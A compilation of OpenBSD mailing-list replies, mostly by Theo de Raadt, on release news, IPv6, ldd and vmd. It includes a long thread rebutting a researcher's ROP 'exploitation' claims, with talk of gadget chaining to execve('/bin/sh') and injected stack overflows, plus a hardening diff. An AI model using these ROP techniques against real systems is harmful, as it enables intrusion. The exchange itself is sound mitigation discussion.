> > made any difference.
> > 
> > Could this be caused by something on the VMWare host machine? (The host
> > seems to be operating at limit regarding RAM for example. But the VM is
> > only using the normal percentage of its allocated RAM — way below 100%
> > and very constant usage, no swap.)
> > 
> > How can I further debug this, keeping in mind that these are production
> > machines and experimentation is limited to benign things that don’t
> > cause outages.
> > 
> 
> What is high? A high CPU load for me is in the order of 70+.
> Please remember the CPU load avarage is a horrible leftover from tenex
> days. The system just counts how many processes are runnable but it is a
> very bad indicator of actual CPU load.

Furthermore, every operating system counts this in a different way.
You might think there is only one way to count it.  Not at all.

Re: Fwd: install74.iso

[Theo de Raadt]

In the next few snapshots, an ISO file will start to show up.

I won't be testing it.  You will.  Privately let me know how it goes and
I'll make more tweaks to it.

There may be problems with bootblocks, etc.  At this time I don't know what
it will take to get it right.

Robert Palm  wrote:

> Thanks!
> 
> Indeed, Dan has a point here as e.g. with hetzner you can easily ask for an 
> .iso to add for your machine and use that for installation.
> 
> With the .img format you need to use the rescue console, dd the .img yourself 
> and restart which is effort.
> 
> So, I would welcome an .iso, too if possible and align with other archs?
> 
> Am 23. Okt. 2023, 21:08, um 21:08, Ampie Niemand  
> schrieb:
> >On Mon, Oct 23, 2023 at 07:27:18PM +0200, Robert Palm wrote:
> >> As this list is not very active I forward your mail to misc@
> >>
> >> Am 21. Okt. 2023, 16:59, um 16:59, Dan 
> >schrieb:
> >> >Hi folks,
> >> >
> >> >Is there a technical reason why the project is not providing
> >> >installation ISOs for the arm64 architecture?
> >
> >I'm pretty sure install74.img and miniroot74.img is provided instead.
> >The idea is that you 'burn' that to a USB stick / thumb drive and boot
> >with
> >that. I think that this category initially had mostly Pi's so there was
> >no
> >need for CDROMs.
> >
> >> >
> >> >The easiest way to install OpenBSD on a new cloud virtual machine
> >for
> >> >me would be to mount cd74.iso and boot.
> >> >
> >> >Could someone give me some pointers for turning the arm bsd.rd
> >> >installation ramdisk kernel into a minimal CD-ROM image?
> >> >
> >> >
> >> >Thank you,
> >> >Dan
> >>
> >
> >-Ampie
> 

Re: AAAA entry for openbsd.org

[Theo de Raadt]

Martin Schröder  wrote:

> Am Mo., 23. Okt. 2023 um 17:14 Uhr schrieb Theo de Raadt 
> :
> > Martin Schröder  wrote:
> >
> > > Am Mo., 23. Okt. 2023 um 16:54 Uhr schrieb Theo de Raadt 
> > > :
> > > > So many, many words demanding that I configure my networks for ipv6.
> > >
> > > "is there any reason openbsd.org still has no  entry at the end of 
> > > 2023?"
> > >
> > > So the reason is "Theo doesn't want to configure his networks for v6"?
> >
> > Martin, what is the reason for your response?
> 
> I'm using OpenBSD, I've configured my network for v6 and I think the
> question is valid
> and hasn't received an answer. And I would accept a simple "yes" as an
> answer from you.


Are you my boss?  If you are not, what is your role here that allows you
to speak to me like that?

Re: AAAA entry for openbsd.org

[Theo de Raadt]

Martin Schröder  wrote:

> Am Mo., 23. Okt. 2023 um 16:54 Uhr schrieb Theo de Raadt 
> :
> > So many, many words demanding that I configure my networks for ipv6.
> 
> "is there any reason openbsd.org still has no  entry at the end of 2023?"
> 
> So the reason is "Theo doesn't want to configure his networks for v6"?

Martin, what is the reason for your response?

Re: AAAA entry for openbsd.org

[Theo de Raadt]

So many, many words demanding that I configure my networks for ipv6.

Armin Jenewein  wrote:

> No idea what you perceive here as a "rant", my apologies if that seemed
> like one to you, that's not my intention.
> 
> FWIW both ftplist1.openbsd.org and ftplist2.openbsd.org have no 
> entry, either.
> 
> I don't see what I need to prove here. That's 3 hosts already that don't
> have an  DNS record, so if you're on an IPv6-only link, you can't
> access these. I didn't check ALL the mirrors that the installer has in
> the list, but the one popping up in my list as ftp.spline.de doesn't
> have one, either, so that's just number four.
> 
> With prices for IPv4 addresses are starting to increase, it surprises me
> that this is still such a heated topic. Nobody asks about removing
> IPv4-connectivity here. Nobody wants to break functionaly for v4-only
> users.
> 
> I did try installing OpenBSD in v6-only networks, yes. On an IPv6-only
> host it doesn't even suggest a mirror to download from.
> 
> My initial mail was about  this one here, nevertheless:
> 
> $ ping6 openbsd.org
> ping6: no address associated with name
> $
> 
> The fact that all the other hosts I mentioned are v4-only doesn't change
> that situation in any way.
> 
> ~ Armin
> 
> 
> 
> 
> On 23-10-22 19:29:28, Philip Guenther wrote:
> > On Sun, Oct 22, 2023 at 6:53 PM Armin Jenewein  wrote:
> > 
> > > Hi.
> > >
> > > On 23-10-22 15:47:45, Kastus Shchuka wrote:
> > > > On Sun, Oct 22, 2023 at 10:29:08PM +0200, Armin Jenewein wrote:
> > > > > Hi,
> > > > >
> > > > > as I'm almost 100% sure adding IPv6 connectivity to the openbsd.org
> > > > > host
> > > > > wouldn't introduce side-effects for IPv4 users: is there any reason
> > > > > openbsd.org still has no  entry at the end of 2023?
> > > >
> > > > Why do you need it?
> > >
> > > Because it's extremely inconvenient to have manually type in the name of
> > > a mirror that I know has an  entry. The installer won't even be able
> > > to download the mirror list because of the reason I mentioned. It tries
> > > to talk to openbsd.org which obviously fails.
> > 
> > 
> > See, this is why being clear about What Fine Problem You're Trying To Solve
> > is important: AFAICT the installer tries to fetch the mirror list from
> > ftplist1.openbsd.org and not from openbsd.org.
> > 
> > Can you confirm that your _actual_ request is to have the installer be able
> > to get the mirror list when on an IPv6-only host?
> > 
> > (Please don't rant at people who try to help, particularly when doing
> > exactly what you requested would NOT HAVE HELPED, unless you *want* people
> > to drop you in their kill-file as "not worth trying to help".)
> > 
> > 
> > Philip Guenther
> 
> -- 
> 
>   ,_^_.
> \- -/
>  \_/ \ Armin Jenewein
>  |O o |
>  |_  <   )  3 )
>  / \ /
> /-__,__-\
> 
> 
> 
> 
> 
 

Re: Crash on TOSHIBA PORTEGE Z30-A laptop

[Theo de Raadt]

Mike Larkin  wrote:

> On Sat, Oct 21, 2023 at 01:27:21PM +0400, wes...@technicien.io wrote:
> > Hi Philip,
> >
> > Thank you very much for your answer.
> >
> > I tried to disable all options (+devices) possible. Same issue.
> > And what's about disable acpi in the kernel using the bsd.re-config?
> >
> 
> Not advisable. You'll probably end up causing even more problems.


You mean, like

> disable acpi*

Meaning, using a glob, which is a lot like a regular expression.

Are you not aware of the wise words on the internet about 'and now you
have two problems'?


Anytime anyone says 'disable acpi', they should be corrected.  The
correct command is 'disable pci'.  Trust me.

Re: malloc leak detection

[Theo de Raadt]

Hiltjo Posthuma  wrote:

> On Thu, Oct 19, 2023 at 08:27:37PM +0200, Otto Moerbeek wrote:
> > Hello,
> > 
> > I made a small tutorial with some usage notes for the new malloc leak
> > detection which is available in OpenBSD 7.4:
> > 
> > https://www.drijf.net/malloc/
> > 
> > While I have you attention, I'd like to mention that I can use a
> > reasonably modern laptop as well, more detais in the last entry of
> > 
> > https://www.openbsd.org/want.html
> > 
> > -Otto
> > 
> 
> Awesome, thanks for sharing.
> 
> It is so nice to have a strict malloc when developing software.
> 
> I also enjoyed your recent EuroBSDCon talk about the design decision of
> malloc(3).

Under pressure, Otto followed the openbsd design philosphy of:  make a
checking technology cheap, then enable it by default.  And then iterate,
finding ways to make another aspect cheap, and enable it by default.
Iterate again, revising what it does in relationship to other mechanims,
and make it cheap... and better again... by default...

Re: ldd error with setuid/setgid binaries

[Theo de Raadt]

Yoshihiro Kawamata  wrote:

> From: "Theo de Raadt" 
> Subject: Re: ldd error with setuid/setgid binaries
> Date: Wed, 18 Oct 2023 06:35:51 -0600
> 
> > You don't explain why you need to do this.  You just completely skipped 
> > that.
> > You don't justify why you need it to work.  Does that make me care?? No, it
> > really doesn't make me care.
> 
> This is to find executable binaries that use old shared libraries that
> no longer exist after an OS upgrade.

But anyways, you are not talking about OpenBSD.

Re: ldd error with setuid/setgid binaries

[Theo de Raadt]

Stuart Henderson  wrote:

> On 2023/10/18 06:35, Theo de Raadt wrote:
> > ldd around suid programs has a fine history of security holes.
> > 
> > One idea is for you to just not not do that.
> > 
> > You don't explain why you need to do this.  You just completely skipped 
> > that.
> > You don't justify why you need it to work.  Does that make me care?? No, it
> > really doesn't make me care.
> 
> The usual reason for this is to find libraries needed to copy into
> a chroot jail to make some binary work.
> 
> > > How can I solve this? Please let me know if you have any good
> > > alternatives.
> 
> There are two approaches.
> 
> - use another tool to read the ELF header and parse NEEDED entries
> from that. several are available (including at least one which will
> recurse to show inter-library dependencies too, though I forget
> what it's called)
> 
> - provide an alternative binary which _can_ be executed by ldd
> 

No Stuart, I don't care because he doesn't care to tell us why he needs
this.  It remains possible to simply not need to inspect those programs.

I doubt setuid programs are being copied into a chroot jail.

But, mostly I don't care because I'm sick and tired of 'bug reports'
that don't explain the usage case.

ldd's environment variable game has had holes, and all the valiant
attempts we make will create holes in the future, I'd bet money on it.

Re: ldd error with setuid/setgid binaries

[Theo de Raadt]

ldd around suid programs has a fine history of security holes.

One idea is for you to just not not do that.

You don't explain why you need to do this.  You just completely skipped that.
You don't justify why you need it to work.  Does that make me care?? No, it
really doesn't make me care.

Yoshihiro Kawamata  wrote:

> From: Stuart Henderson 
> Subject: Re: ldd error with setuid/setgid binaries
> Date: Wed, 18 Oct 2023 10:00:19 - (UTC)
> 
> > ldd started using execpromises, and:
> > 
> > /* SUID programs may not be started with execpromises */
> 
> I see. thank you.
> I created and used a shell script to create a list of dynamic link
> libraries used for all commands:
> 
>   #!/bin/sh
>   [[ -z "$1" ]] && set /
> 
>   find "$@" \
>   \! -fstype local -prune \
>   -o \
>   -type f \
>   \( -perm -100 -o -perm -010 -o -perm -001 \) \
>   -print \
>   | xargs file \
>   | awk '
>   BEGIN {FS=":"}
>   /ELF 64-bit LSB shared object/ {print $1}' \
>   | xargs ldd \
>   | awk '
>  /^\/.*:$/ {fname = $1; sub(/:/, "", fname)}
>  $3 == "rlib" {print $7, fname}' \
>   | sort
> 
> But this no longer works properly on OpenBSD 4.7.
> 
> How can I solve this? Please let me know if you have any good
> alternatives.
> 
> 
> Yoshihiro Kawamata
> https://fuguita.org/
> 

OpenBSD 7.4 released -- Oct 16, 2023

[Theo de Raadt]

- OpenBSD 7.4 RELEASED -

October 16, 2023.

We are pleased to announce the official release of OpenBSD 7.4.
This is our 55th release.  We remain proud of OpenBSD's record of more
than twenty years with only two remote holes in the default install.

As in our previous releases, 7.4 provides significant improvements,
including new features, in nearly all areas of the system:

 - Various kernel improvements:
o On arm64, show BTI and SBSS features in dmesg(8).
o New kqueue1(2) system call supporting the O_CLOEXEC flag.
o Map device tree read/write to unbreak root on softraid(4).
o Correctly recognize umass(4) floppy disk devices as floppy disks.
o In wscons(4), catch up with box drawing characters which have been
  standardized in unicode after the original wscons code was written
  and chose placeholder values.
o In wscons(4), make sure we do not increase the escape sequence
  argument count beyond usable bounds.
o Implement dt(4) utrace(2) support on amd64 and i386.
o Correct undefined behavior when using MS-DOS filesystems, fixes
  imported from FreeBSD.
o Make the softdep mount(8) option a no-op. Softdep was a
  significant impediment to improving the vfs layer.
o Allow unveil(2)ed programs to dump core(5) into the current
  working directory.
o Address incomplete validation of ELF program headers in execve(2).
o On arm64, use the deep idle state available on Apple M1/M2 cores
  in the idle loop and for suspend, resulting in power savings.
o Update AMD CPU microcode if a newer patch is available.
o Enable a workaround for the 'Zenbleed' AMD CPU bug.
o Report speculation control bits in dmesg(8) CPU lines.
o To give the primary CPU an opportunity to perform clock interrupt
  preparation in a machine-independent manner we need to separate
  the "initialization" parts of cpu_initclocks() from the "start the
  clock interrupt" parts. Separate cpu_initclocks() from
  cpu_startclock().
o Fix a problem where CPU time accounting and RLIMIT_CPU was
  unreliable on idle systems.
o Improve the output of the "show proc" command of the kernel
  debugger ddb(4) and show both the PID and TID of the proc.

 - SMP Improvements
o Rewrite pfsync(4), in particular to improve locking and to help
  with unlocking more of pf(4) and with parallelisation of the
  network stack in the future. The protocol remains compatible with
  the older version.
o Remove kernel locks from the ARP input path.
o Pull MP-safe arprequest() out of kernel lock.
o Remove the kernel lock from IPv6 neighbor discovery.
o Unlock more parts of ioctl(2) and the routing code in the network
  stack.

 - Direct Rendering Manager and graphics drivers
o Update drm(4) to Linux 6.1.55.
o Don't change end marker in sg_set_page(). Caused bad memory
  accesses when using page flipping on Alder Lake and Raptor Lake.

 - VMM/VMD improvements
o Allowed vmm(4) guests to enable and use supervisor IBT.
o Suppressed AMD hardware p-state visibility to vmm(4) guests.
o Avoid use of uninitialised memory in vmd(8).
o Migrate vmd_vm.vm_ttyname to char array allowing a vmd_vm object
  to be transmitted over an ipc channel.
o Cleaned up file descriptor closing in vmd(8) vmm process.
o Fixed vm send/receive, restoring device virtqueue addresses on
  receive.
o Introduced execvp(3) after fork for child vm processes.
o No longer generate an error in vmd(8) if vm.conf(5) is absent.
o Split vmm(4) into MI/MD parts.
o Introduced multi-process model for vmd(8) virtio block and network
  devices.
o Allowed vm owners to override boot kernel when using vmctl(8) to
  start a vm.
o Changed staggered start of vms to number of online CPUs.
o Fixed a segfault on vm creation.
o Switched to anonymous shared memory mappings for vmd(8) vm
  processes, introducing a new vmm(4) ioctl(2).
o Relaxed absolute path requirements for vmd(8) configtest mode
  (-n).
o Adjusted shutdown logic by vm id to function similarly as by name.
o Moved validation of local network prefixes for the internal vmd(8)
  DHCP service into the config parser.
o Fixed QCOW2 base images when used with the vmd(8) multi-process
  device model.
o Fixed setting verbose logging in child processes.
o Fixed a race condition related to the emulated i8259 interrupt
  controller by ignoring interrupt masks on assert.
o Inlined pending interrupts in the vmm(4) ioctl(2) for running the
  vcpu, reducing vm latency.
o Added zero-copy, vectored io to the vmd(8) virtio block device.
o Changed to logging vmd(8) vm ids in the vcpu run loop on error and
  not the ids used by vmm(4).
o Fixed a vm pause deadlock.
o 

Re: ROP Exploitation in openbsd-64 Programs After Removing ROP Gadgets

[Theo de Raadt]

Nan ZoE  wrote:

> Sure, thank you for your patient response.
> 
> I will continue to refine my work and attempt to develop some
> countermeasures against ROP mitigation. If there's good news, I will
> contact OpenBSD again! By the way, the first idea I provided, which is
> "Zeroing registers before function returns," has already been applied by
> GCC and CLANG in one of their compiler flags. You might consider some of
> those approaches because, in my evaluation of their mitigation
> effectiveness, they reduced the number of gadgets in programs by an average
> of 60%. Here's the commit
> 
> related to this mechanism for you to look at.

I am aware of that change, and it comes with quite a cost -- which noone
is quantifying clearly for the PURPOSE of "enabling the option by
default, for all software".

Noone in the gnu ecosystem is proposing making it the default.  It will
remain, forever I am sure, an option to turn on only for specific software.
And it will soon be forgotten.

But turn back to the software you are "exploiting".

Will it be turned on in chmod(1)?

How about for as(1)?

I'm mentioning two programs which you believe you "exploited".

How about the other programs you listed?

How does the tradeoff work:  Is the performance lost worth the incremental
advantage of less ROP effectiveness, or are other avenues which block
effective escalation with less performance cost more valuable?

Re: OpenBSD 7.4

[Theo de Raadt]

Don't be ridiculous, there is no point to be so obtuse.

The date is already visible in many files in our tree, and you know it.

Oct 16.

Peter N. M. Hansteen  wrote:

> On Thu, Oct 12, 2023 at 07:54:04PM +0200, Karel Lucas wrote:
> > Is it already known when openBSD 7.4 will be released? I would like to know
> > that, because of a project I am working on.
> 
> The exact date will not be generally known until it happens if recent releases
> are anything to go by. 
> 
> That said, you can be quite sure that the project has planned for
> a specific date. 
> 
> Traditionally the release dates have been November 1st and May 1st, but 
> several times the release has been earlier, up to a couple of weeks
> in some cases. 
> 
> So my advice would be to plan for November 1st as a time that release
> will be available. 
> 
> And anyway it will be useful to move any not yet upgraded systems to
> 7.3 ahead of that date, since 7.2 will join the ranks of no longer 
> supported releases the moment 7.4 becomes generally available.
> 
> - Peter
> 
> -- 
> Peter N. M. Hansteen, member of the first RFC 1149 implementation team
> https://bsdly.blogspot.com/ https://www.bsdly.net/ https://www.nuug.no/
> "Remember to set the evil bit on all malicious network traffic"
> delilah spamd[29949]: 85.152.224.147: disconnected after 42673 seconds.
> 

Re: ROP Exploitation in openbsd-64 Programs After Removing ROP Gadgets

[Theo de Raadt]

> We would like to collaborate with OpenBSD in researching how to reduce the
> number of gadgets and increase the difficulty of using gadgets.

I've think I've vaguely explained how that works.

All the mitigations efforst went like this:

1) come up with an idea
2) write a complete working prototype
3) test the change in simple demonstration programs
4) next, test it in *ALL THE UPSTREAM CODE IN THE UNIVERSE*
   a) evaluate if the idea is viable
  i) performance
  ii) measureably increasing resistance
  iii) extremely low false positive problems
  If these metrics are not satisfied, throw away idea or go back to 2)
   b) fix ALL false positives in upstream code


In earlier emails you mentioned 3 ideas, but didn't make it beyond step 1.

> However, our efforts can increase the difficulty of ROP
> attacks, which is meaningful

I am not going to help with steps 2+, because I have other cross-platform
mitigations already in development and don't have time to do work on other
people's theories.

Most importantly, I care more about solutions that improve fixed-length
instruction architectures, where polymorphic ROP isn't a concern.

If I sound flippant, it is because I've spent decades working on
mitigations which help even when amd64 ROP remains possible, and your
first step was to disable them, bypass them, and most significantly --
failed to mention that you gutted the mitigation group.

Re: ROP Exploitation in openbsd-64 Programs After Removing ROP Gadgets

[Theo de Raadt]

Nan ZoE  wrote:

> Hello,  Thank you for your response.
> 
> I'm sorry, I just looked at the introduction of pinsyscall. If OpenBSD only 
> uses
> pinsyscall, calling syscall is a challenge in exploitation. However, I'm not 
> sure if
> this is a required protection mechanism for all programs. What happens if a 
> user
> inlines the syscall instruction when writing a program?

That question means you don't understand pinsyscall().  There is only one 
syscall
instruction in the program which can perform the job.  In dynamic binaries it is
somewhere in randomly-placed randomly-linked libc.so

How do you find it?

> Or can it be bypassed through address leakage?

Are you kidding?  You are the the one leaking the entire address space of the
program you tell me and calling this realistic "exploitation" methodology!

> I am currently uncertain. The presence of protection mechanisms like
> address randomization is not unique to OpenBSD; many exploitation scenarios 
> encounter
> these issues. Ensuring that these addresses are known is a prerequisite for 
> using
> gadgets in ROP attacks.

Yes, ensuring it is required.  You are intentionally ignoring it.  No matter how
much we harden the address space with complex solutions, you will ignore those
improvements.

> Studying the automated ROP construction capabilities of a
> program's gadget collection is a general problem. We analyze whether these 
> gadgets can
> be chained into a working ROP, and whether this ROP can achieve the 
> exploitation
> target.

I'll quote from wikipedia "exploit (computer security):

An exploit (from the English verb to exploit, meaning "to use something
to s own advantage") is a piece of software, a chunk of data, or a
sequence of commands that takes advantage of a bug or vulnerability to
cause unintended or unanticipated behavior to occur on computer
software, hardware, or something electronic (usually computerized).[1]
Such behavior frequently includes things like gaining control of a
computer system, allowing privilege escalation, or a denial-of-service
(DoS or related DDoS) attack. In lay terms, some exploit is akin to a
'hack'.

Your ROP chain happens inside *YOUR BINARY*.  You modified the binary.  You
are not attacking a system component, but your replacement for the system
component.  I could replicate your work by writing a constructor that calls
system("/bin/sh", NULL) and using objcopy to install that into a replaceent 
binary.
That is not exploitation, because that replacement binary is run BY ME, not in
a situation where a different user context will gain results.

That's synthetic.  You are proving that enough gadgetry still exits after
our big effort to reduce it.  Bravo!  We could have told that enough gadgetry
will remain!!

> We can enhance the difficulty of ROP attacks through adversarial approaches
> related to ROP mitigation mechanisms (which aim to reduce gadgets in the 
> program and
> increase their complexity). This is a cost-effective endeavor. I believe 
> OpenBSD has
> been continuously improving in this regard since 2018, making it more advanced
> compared to other operating systems. By simply adjusting compilation 
> parameters, you
> can reduce the number of gadgets and make ROP attacks more difficult. With 
> the results
> of our tool's experiments, we can mutually enhance this aspect, making it 
> better!

I do not believe there is much more which can be done.  But I'll be here, 
waiting
for toolchain diffs which have been fully validated in all axis.

> However, the ultimate goal of ROP attacks is not just to call the syscall 
> instruction.
> They can also perform arbitrary function calls, arbitrary memory writes, or 
> arbitrary
> memory reads, among various types of exploitation primitives. All of these 
> primitives
> can assist in the final exploitation. Still, they require the selection and 
> chaining
> of gadgets to achieve these actions, making it meaningful to increase the 
> difficulty
> of using gadgets.

No shit sherlock.

Except, your environment is too synthetic because you are disabling all
the other efforts to mitigate against the impossibility of ever solving
polymorphic ROP.

Re: ROP Exploitation in openbsd-64 Programs After Removing ROP Gadgets

[Theo de Raadt]

Nan ZoE  wrote:

> Additionally, it's reasonable to assess the correctness of the ROP payloads
> we generate for a program by injecting vulnerabilities. Firstly, the
> original gadget set in the program remains intact and usable. Secondly,
> this method of injecting vulnerabilities is equivalent to assuming the
> existence of easily exploitable ROP attack vulnerabilities in the program.

You are using the word "exploitable" again, which is incorrect terminology.

It is not the same at all.  You have not just disabled all address space
layout control, but also pledge and unveil, and I'm sure there are other
things you have disabled but not mentioned.  The syntheticness of your
test is removing mitigations you aren't even aware of.

> In both cases, the ROP payloads can be executed, and the gadgets in these
> ROP payloads are all from the original program. In other words, if a
> program has vulnerabilities that require ROP attack techniques, then the
> ROP payloads generated by our tool are entirely applicable.
> 
> In our experiments, we extracted over a thousand programs from OpenBSD, and
> while most of them do not have syscall instruction gadgets, there are still
> more than 240 programs that contain syscall instruction gadgets. This is
> confirmed by various tools such as ropper and
> ROPgadget  that we used to
> extract gadget sets. Even in cases where programs are dynamically linked,
> the syscall instructions are not solely located within their ld.so.

The following diff will be commited soon.  I forgot to run pinsyscall()
in static binaries which don't actually call execve(), as a result in
those static binaries any syscall instruction would work, rather than
just the precise one assigned by pinsyscall(SYS_execve, ...).  With this
diff such programs no longer have a viable syscall instructions which
will reach execve(2).

The programs improved tend to be boring programs which run without any
privilege which could be "exploited".

This change makes it impossible to call execve() syscall in most of /bin
and /sbin (your list of 240 will shrink), and a couple static binaries
in /usr/*bin/.  A majority of those programs call pledge() without
"exec" early during startup, so your synthetic results of exploiting
programs before they actually run main() was already highly misleading.

Index: dlfcn/init.c
===
RCS file: /cvs/src/lib/libc/dlfcn/init.c,v
retrieving revision 1.18
diff -u -p -u -r1.18 init.c
--- dlfcn/init.c27 Feb 2023 15:00:17 -  1.18
+++ dlfcn/init.c12 Oct 2023 14:22:09 -
@@ -154,6 +154,11 @@ _libc_preinit(int argc, char **argv, cha
extern const int _execve_size;
 
pinsyscall(SYS_execve, (execve), _execve_size);
+   } else {
+   static const int not_syscall;
+
+   /* Static binary which does not use execve() */
+   pinsyscall(SYS_execve, (void *)_syscall, 1);
}
 #endif
}

Re: vmd and /dev/sd*

[Theo de Raadt]

Manuel Giraud  wrote:

> > Manuel Giraud  writes:
> >
> >> Hi,
> >>
> >> I can't find the information on this list (or elsewhere).  Is it
> >> possible to have a vm that access a disk through its device?  The
> >> following does not seem to work:
> >>
> >> # vmctl start -cL -m 1G -b /bsd.rd -d /dev/sd1c myvm
> >> vmctl: start vm command failed: Unknown error: -1
> >
> > No, passing file descriptors to devices over ipc sockets isn't currently
> > allowed by the kernel. You'd need to use the raw character device, too,
> > afaik if passing them were allowed.
> 
> Ok, noted.  BTW I have the same error passing the raw character device.



I made the decision to not allow passing of weird file descriptor types
very intentionally.  I'm still very sure that is the right decision.

Here's 1 program which wants to do it, but the other 1000 pledge'd programs
are being protected from being passed an incorrect fd and then doing system
calls upon it which behave "different".  By that, I mean seek, read, and
write short-operation behaviours are subtly different outside of files and
sockets, and it would also expose some ioctl (which is MOSTLY limited by
pledge, but ioctl "request" values are just numbers, and they can overlap in
surprising ways).

Re: ROP Exploitation in openbsd-64 Programs After Removing ROP Gadgets

[Theo de Raadt]

Nan ZoE  wrote:

> In comparison, a more straightforward example is the "as" program. The ROP
> payload
> 
> for
> this program is relatively simple, and it can also achieve the ROP target
> of calling execve("/bin/sh", 0, 0).

In this dynamically linked program, how do you find the VERY SPECIFIC
"syscall" instruction inside _sys_execve inside per-boot-unique
libc.so.* which is mapped at a random address by ld.so everytime you
run it, and then how you ensure that specific address is in the ROP
sequence in the stack?

You cannot point at an arbitrary "syscall" instruction.  It must be
precisely that instruction, due to pinsyscall(2) use.

You do this offline, ahead of time?  You cannot do it at runtime, because
you cannot explore the text-segment because it is non-readable, unless your
machine is old and lacks PKU.

I suspect you have disabled additional mitigations, and are not mentioning
those requirements.

That's not testing OpenBSD. That's testing against your own fork of OpenBSD.

Re: ROP Exploitation in openbsd-64 Programs After Removing ROP Gadgets

[Theo de Raadt]

> Please note that after injecting the vulnerabilities, the programs execute
> the '*main*' function from the vulnerable program, not the entry function
> from the original program. However, the Gadgets from the original program
> are still usable. This approach allows us to evaluate the ROP construction
> capability of the original program's Gadget collection and use the injected
> vulnerabilities to validate the correctness of ROP exploitation.

Which means you do all your work before a program can self-protect
itself using pledge() or unveil() or a whole bunch of other mechanisms.

You are not just ignoring address space randomization, but also a bunch
of other mechanisms.

int
main()
{
pledge("stdio, NULL);
while (1)
  sleep(100:
}

You would do an execve() inside this program image because you've never
started running the program.  But since the program never ran any of it's
own code, you haven't done it in the program, but only in your own code.

And this work is done through offline calculation obviously, since the
program's text segment is not readable (on most modern machines with PKU)
due to the xonly work which makes the text segment not readable.

That is so synthetic, it is uninteresting.


I too can become very rich quickly by assuming the banks have turned off
all their protections.

Re: ROP Exploitation in openbsd-64 Programs After Removing ROP Gadgets

[Theo de Raadt]

Nan ZoE  wrote:

> Thank you for your response. It seems there might be some misunderstanding 
> about what
> I'm researching. Allow me to explain the experiments I'm conducting in more 
> detailed.

I'm looking at the Subject.  It uses the word "Exploitation".  That word
has a very specific meaning in this field.  You are saying you are able
to use ROP methods to *take advantage* of software, meaning, raise your
capabilities and abuse the software to do something you should not be able
to do.

I do not see evidence to match that claim.

> We are working on implementing a tool similar to angrop and ropium. These 
> tools aim to
> automate ROP attacks. Such tools were initially introduced in the paper Q: 
> Exploit
> Hardening Made Easy. These tools and papers generally assume the ability to 
> bypass
> ASLR and other address randomization techniques, focusing more on automating 
> the
> selection and chaining of Gadgets in a given program to construct an ROP 
> payload.

I don't find that interesting, because it is extremely old news that you
can't remove ALL the polymorphic gadgets in variable size instruction
architectures.  That is exactly why we work on adding other mitigations
instead.  Such as "ASLR and other address randomization techniques".

> I'm not entirely clear about the meaning of your statement, "You cannot see 
> where in
> memory the binary is mapped." However, I gather from the sentence, "What info 
> leak are
> you exercising to extract libc.so's  location, and per-boot layout, and then 
> precisely
> target the specific 'syscall' instruction?" that you may be referring to the 
> challenge
> of not being able to accurately determine the address of the 'syscall' 
> instruction due
> to address randomization.

So 5 emails deep in the thread, we are finally told the basis of your work is an
assumption you have 100% visibility on the execution layout.  Not just a tiny
info leak, but the mother of all info leaks.  That's not exploitation, that's
synthetic.

> I also checked the protection mechanisms for programs in OpenBSD 7.3 using the
> 'checksec' tool from pwn. OpenBSD enables PIE (Position Independent 
> Executable) code
> address randomization protection. When faced with address randomization, many 
> exploits
> require first achieving an address leak or employing other ASLR bypass 
> techniques
> before proceeding with further privilege escalation. However, our primary 
> focus is not
> on address leak methods, as they can vary significantly and are closely tied 
> to the
> specific vulnerability and program. Instead, we concentrate on automating the 
> Gadget
> selection and chaining process to achieve privilege escalation ultimately.

Your logic isn't based upon an info leak, but upon a info leak of the entire
program by running it inside your exploit program.  That's so synthetic it is
laughable.

> Our experiments revolve around evaluating the ROP construction capability of 
> each
> program's Gadget collection. In other words, we assess the maximum ROP 
> construction
> potential of each program's distinct Gadget collection. Initially, we assume 
> that the
> issue of address randomization can be bypassed using known address leak
> vulnerabilities/exploitation techniques. For our experiments, we disable the 
> address
> randomization protection mechanism in the programs.

That is incredibly boring, because there are no solutions that entirely
remove polymorphic ROP.

> In our experiments, we extracted 264 programs from OpenBSD 7.3, which we have 
> made
> available in the orig folder on Github. We then injected simple stack overflow
> vulnerabilities into these programs using objcopy, while preserving all the 
> original
> program's code to ensure the integrity of the original Gadget collection. We 
> placed
> the programs with injected vulnerabilities in the vuln folder on Github, with 
> each
> program corresponding to a specific one in the orig folder.
> 
> Please note that after injecting the vulnerabilities, the programs execute 
> the 'main'
> function from the vulnerable program, not the entry function from the original
> program.

Wow.

> However, the Gadgets from the original program are still usable. This
> approach allows us to evaluate the ROP construction capability of the original
> program's Gadget collection and use the injected vulnerabilities to validate 
> the
> correctness of ROP exploitation.

There you go again, using the phase "exploitation".

You have exploited nothing.  Your approach is entirely synthetic and
there is no escalation of privs or capabilities in it.

It is IMPOSSIBLE to remove all the ROP gadgets on a variable instruction
architecture, they occur polymorphically nested inside other
instructions.  This is well known.  There were talks and papers about
this 20 years ago.  I see nothing original being shared here.  

We never claimed to have fixed this on amd64.  A variety of improvements
resulted in some reduction, but I suspect there are only 

Re: debugging "invalid argument" errors when loading elf files

[Theo de Raadt]

I think the problem here is you are using a linker script.

You are creating a new class of binary, with different layouts and issues,
and since you are doing it on your own, you'll never know what you are
missing until later.

The linker script stuff is fragile, poorly undocumented stuff which changes
constantly between releases, has big variance between clang and gnu toolchains,
and if you don't have to do it you shouldn't.

We only use it for kernels, bootblocks, and ld.so.  And in all those cases,
we need a linker script *PER ARCHITECTURE*.

I think you'll never get it perfect for 1 architecture, and certainly not
for 4 architectures.


Lorenz (xha)  wrote:

> On Mon, Oct 09, 2023 at 01:29:52PM -0700, Philip Guenther wrote:
> > On Mon, Oct 9, 2023 at 11:21 AM Lorenz (xha)  wrote:
> > 
> > > hi misc@,
> > >
> > > i'm currently porting the hare programming language to openbsd and i am
> > > having quite a few problems trying to use a linker script. i am always
> > > getting a "/bin/ksh: .bin/hare: Invalid argument" error.
> > >
> > > so far i tried a lot of stuff like comparing a working version without a
> > > linker script, looking if any of the programm headers are missing, etc.
> > >
> > 
> > So you have a working binary (w/o linker script) and a not-working binary
> > (w/linker script) and you've even done the comparison of the program
> > headers of the two...and you're not going to show those but rather ask
> > what, in general, could be wrong?  Okay.
> 
> i am pretty sure that it woudln't have been helpful since i don't know
> what i am doing (yet). nothing's working
> 
> > Read /usr/src/sys/kern/*exec* and review the logic around the 10
> > occurrences of EINVAL in that code.  Presumably the differences you
> > identified will point to one or more of them
> 
> found it: PT_PHDRS is missing. i didn't identify that difference at
> first tho. it's needeed for PIE if i understand correctly.
> 
> why is ld not adding a PT_PHDR programm header? as far as i undestand,
> PT_PHDR are the programm headers themselfs?
> 
> this is my linker script (kind of mess right now because of debugging).
> it is supposed to link with libc. i am moving the init functions in a
> different section so that the hare runtime can execute them and not
